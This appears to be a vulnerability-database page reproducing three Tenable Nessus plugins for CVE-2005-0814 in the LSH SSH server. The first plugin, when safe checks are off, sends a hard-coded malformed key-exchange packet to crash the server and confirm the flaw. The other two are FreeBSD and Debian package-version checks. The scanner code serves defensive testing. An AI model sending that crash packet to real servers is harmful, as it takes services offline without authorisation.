Vulnerabilities > CVE-2005-0814 - Unspecified vulnerability in Lysator LSH

#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");

if(description)
{
 script_id(17352);
 script_version ("1.11");
 script_cve_id("CVE-2005-0814");
 script_bugtraq_id(12829);
 
 script_name(english:"LSH lshd parse_kexinit() Function Malformed Key Exchange Message Remote DoS");
 
 script_set_attribute(attribute:"synopsis", value:
"The remote SSH server is affected by a denial of service 
vulnerability." );
 script_set_attribute(attribute:"description", value:
"The remote host is running Lysator's LSH, a version of Secure Shell
(SSH) that is available for Unix-like platforms. This version of LSH
is reportedly vulnerable to a denial of service attack.

An attacker can exploit this issue by sending a malformed key exchange
message." );
 script_set_attribute(attribute:"see_also", value:"http://lists.lysator.liu.se/pipermail/lsh-bugs/2005q1/000328.html" );
 script_set_attribute(attribute:"solution", value:
"Upgrade to LSH 2.0.1 or later." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"false");
	
 script_set_attribute(attribute:"plugin_publication_date", value: "2005/03/17");
 script_set_attribute(attribute:"vuln_publication_date", value: "2005/03/16");
 script_cvs_date("Date: 2018/07/14  1:59:35");
script_set_attribute(attribute:"plugin_type", value:"remote");
 script_set_attribute(attribute:"cpe",value:"cpe:/a:lysator:lsh");
script_end_attributes();

 
 script_summary(english:"Checks for the remote LSH version");
 script_category(ACT_MIXED_ATTACK);
 script_copyright(english:"This script is Copyright (C) 2005-2018 Tenable Network Security, Inc.");
 script_family(english:"Denial of Service");
 script_dependencie("ssh_detect.nasl");
 script_require_ports("Services/ssh", 22);
 exit(0);
}

#
# The script code starts here
#

port = get_kb_item("Services/ssh");
if(!port)port = 22;

banner = get_kb_item("SSH/banner/" + port );
if ( ! banner ) exit(0);

if ( "openssh" >< tolower(banner) ) exit(0);

if (safe_checks())
{
 if(ereg(string:banner,
  	pattern:"SSH-2.0-lshd-([01]\..*|2\.0) lsh", icase:TRUE)) security_warning(port);
 exit (0);
}

req = raw_string (
 0x00, 0x00, 0x00, 0xbc, 0x07, 0x14, 0xc1, 0x5f,
 0x45, 0x27, 0x3d, 0x6c, 0x16, 0x7b, 0xf9, 0xc2, 0xca, 0x39, 0x08, 0x61, 0x3b, 0x5a, 0x00, 0x00,
 0x00, 0x3d, 0x64, 0x69, 0x66, 0x66, 0x69, 0x65, 0x2d, 0x68, 0x65, 0x6c, 0x6c, 0x6d, 0x61, 0x6e,
 0x2d, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x2d, 0x65, 0x78, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x2d,
 0x73, 0x68, 0x61, 0x31, 0x2c, 0x64, 0x69, 0x66, 0x66, 0x69, 0x65, 0x2d, 0x68, 0x65, 0x6c, 0x6c,
 0x6d, 0x61, 0x6e, 0x2d, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x31, 0x2d, 0x73, 0x68, 0x61, 0x31, 0x00,
 0x00, 0x00, 0x0f, 0x73, 0x73, 0x68, 0x2d, 0x72, 0x73, 0x61, 0x2c, 0x73, 0x73, 0x68, 0x2d, 0x64,
 0x73, 0x73, 0x00, 0x00, 0x00, 0x0c, 0x62, 0x6c, 0x6f, 0x77, 0x66, 0x69, 0x73, 0x68, 0x2d, 0x63,
 0x62, 0x63, 0x00, 0x00, 0x00, 0x0c, 0x62, 0x6c, 0x6f, 0x77, 0x66, 0x69, 0x73, 0x68, 0x2d, 0x63,
 0x62, 0x63, 0x00, 0x00, 0x00, 0x09, 0x68, 0x6d, 0x61, 0x63, 0x2d, 0x73, 0x68, 0x61, 0x31, 0x00,
 0x00, 0x00, 0x09, 0x68, 0x6d, 0x61, 0x63, 0x2d, 0x73, 0x68, 0x61, 0x31, 0x00, 0x00, 0x00, 0x04,
 0x6e, 0x6f, 0x6e, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
);

if (!get_port_state(port)) exit(0);

soc = open_sock_tcp (port);
if (!soc)
  exit (0);

buf = recv_line (socket:soc, length:1024);
if (!buf && ("SSH-2.0-" >!< buf))
  exit (0);

send (socket:soc, data:'SSH-2.0-Crash\n');
buf = recv (socket:soc, length:4096);
if (!buf)
  exit (0);

send (socket:soc, data:req);
close (soc);

soc = open_sock_tcp (port);
if (!soc)
  security_warning(port);
else
  close (soc);

#%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from the FreeBSD VuXML database :
#
# Copyright 2003-2018 Jacques Vidrine and contributors
#
# Redistribution and use in source (VuXML) and 'compiled' forms (SGML,
# HTML, PDF, PostScript, RTF and so forth) with or without modification,
# are permitted provided that the following conditions are met:
# 1. Redistributions of source code (VuXML) must retain the above
#    copyright notice, this list of conditions and the following
#    disclaimer as the first lines of this file unmodified.
# 2. Redistributions in compiled form (transformed to other DTDs,
#    published online in any format, converted to PDF, PostScript,
#    RTF and other formats) must reproduce the above copyright
#    notice, this list of conditions and the following disclaimer
#    in the documentation and/or other materials provided with the
#    distribution.
# 
# THIS DOCUMENTATION IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS
# BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
# OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
# OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
# BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
# OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION,
# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#

include("compat.inc");

if (description)
{
  script_id(29874);
  script_version("1.13");
  script_cvs_date("Date: 2019/08/02 13:32:39");

  script_cve_id("CVE-2003-0826", "CVE-2005-0814");
  script_xref(name:"Secunia", value:"14609");

  script_name(english:"FreeBSD : lsh -- multiple vulnerabilities (72cdf2ab-5b87-11dc-812d-0011098b2f36)");
  script_summary(english:"Checks for updated package in pkg_info output");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote FreeBSD host is missing a security-related update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"Secunia reports :

A vulnerability has been reported in LSH, which potentially can be
exploited by malicious people to cause a DoS (Denial of Service)."
  );
  # https://vuxml.freebsd.org/freebsd/72cdf2ab-5b87-11dc-812d-0011098b2f36.html
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.nessus.org/u?b36d2dd2"
  );
  script_set_attribute(attribute:"solution", value:"Update the affected package.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:freebsd:freebsd:lsh");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:freebsd:freebsd");

  script_set_attribute(attribute:"vuln_publication_date", value:"2005/03/17");
  script_set_attribute(attribute:"patch_publication_date", value:"2007/09/05");
  script_set_attribute(attribute:"plugin_publication_date", value:"2008/01/08");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2008-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"FreeBSD Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/FreeBSD/release", "Host/FreeBSD/pkg_info");

  exit(0);
}


include("audit.inc");
include("freebsd_package.inc");


if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/FreeBSD/release")) audit(AUDIT_OS_NOT, "FreeBSD");
if (!get_kb_item("Host/FreeBSD/pkg_info")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;

if (pkg_test(save_report:TRUE, pkg:"lsh<2.0.1")) flag++;

if (flag)
{
  if (report_verbosity > 0) security_hole(port:0, extra:pkg_report_get());
  else security_hole(0);
  exit(0);
}
else audit(AUDIT_HOST_NOT, "affected");

#%NASL_MIN_LEVEL 80502

#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from Debian Security Advisory DSA-717. The text 
# itself is copyright (C) Software in the Public Interest, Inc.
#

include("compat.inc");

if (description)
{
  script_id(18153);
  script_version("1.21");
  script_cvs_date("Date: 2019/08/02 13:32:18");

  script_cve_id("CVE-2003-0826", "CVE-2005-0814");
  script_xref(name:"DSA", value:"717");

  script_name(english:"Debian DSA-717-1 : lsh-utils - buffer overflow, typo");
  script_summary(english:"Checks dpkg output for the updated package");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote Debian host is missing a security-related update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"Several security relevant problems have been discovered in lsh, the
alternative secure shell v2 (SSH2) protocol server. The Common
Vulnerabilities and Exposures project identifies the following
vulnerabilities :

  - CAN-2003-0826
    Bennett Todd discovered a heap buffer overflow in lshd
    which could lead to the execution of arbitrary code.

  - CAN-2005-0814

    Niels Moller discovered a denial of service condition
    in lshd."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=211662"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.debian.org/security/2005/dsa-717"
  );
  script_set_attribute(
    attribute:"solution", 
    value:
"Upgrade the lsh-server package.

For the stable distribution (woody) these problems have been fixed in
version 1.2.5-2woody3."
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:debian:debian_linux:lsh-utils");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:debian:debian_linux:3.0");

  script_set_attribute(attribute:"patch_publication_date", value:"2005/04/27");
  script_set_attribute(attribute:"plugin_publication_date", value:"2005/04/28");
  script_set_attribute(attribute:"vuln_publication_date", value:"2003/09/20");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2005-2019 Tenable Network Security, Inc.");
  script_family(english:"Debian Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/Debian/release", "Host/Debian/dpkg-l");

  exit(0);
}


include("audit.inc");
include("debian_package.inc");


if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/Debian/release")) audit(AUDIT_OS_NOT, "Debian");
if (!get_kb_item("Host/Debian/dpkg-l")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;
if (deb_check(release:"3.0", prefix:"lsh-client", reference:"1.2.5-2woody3")) flag++;
if (deb_check(release:"3.0", prefix:"lsh-server", reference:"1.2.5-2woody3")) flag++;
if (deb_check(release:"3.0", prefix:"lsh-utils", reference:"1.2.5-2woody3")) flag++;
if (deb_check(release:"3.0", prefix:"lsh-utils-doc", reference:"1.2.5-2woody3")) flag++;

if (flag)
{
  if (report_verbosity > 0) security_hole(port:0, extra:deb_report_get());
  else security_hole(0);
  exit(0);
}
else audit(AUDIT_HOST_NOT, "affected");